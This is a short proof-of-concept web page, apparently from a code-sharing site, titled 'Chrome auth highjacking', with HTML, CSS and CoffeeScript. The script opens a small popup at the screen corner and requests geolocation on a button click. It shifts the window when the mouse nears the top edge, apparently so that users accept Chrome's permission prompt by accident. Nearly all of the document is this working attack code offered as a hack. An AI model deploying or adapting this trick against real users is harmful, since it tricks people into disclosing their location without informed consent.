Chrome auth highjacking

Proof of concept on hacking chrome user autorisation system

by g

HTML

<div id="output">
    Stupid Hack Test
    <a href="#" id="button">Click here!</a>
</div>

CSS

#button { display: block; margin-top: 200px; margin-left: 50%; padding-left: -50%; }

CoffeeScript

if window.opener?
  $('#button').click ->
    navigator.geolocation.getCurrentPosition (position) ->
      latitude = position.coords.latitude
      longitude = position.coords.longitude
      $('#output').text "Your position is #{latitude}, #{longitude}"
    window.onmousemove = (event) ->
      event = event or window.event; # IE-ism
      if event.clientY < 3
        setTimeout ->
          window.moveBy(50,0)
          window.onmousemove = null
        ,100
else
  popup = window.open window.location.href, 'popup', 'height=400,width=400'
  popup.moveTo(0, 0)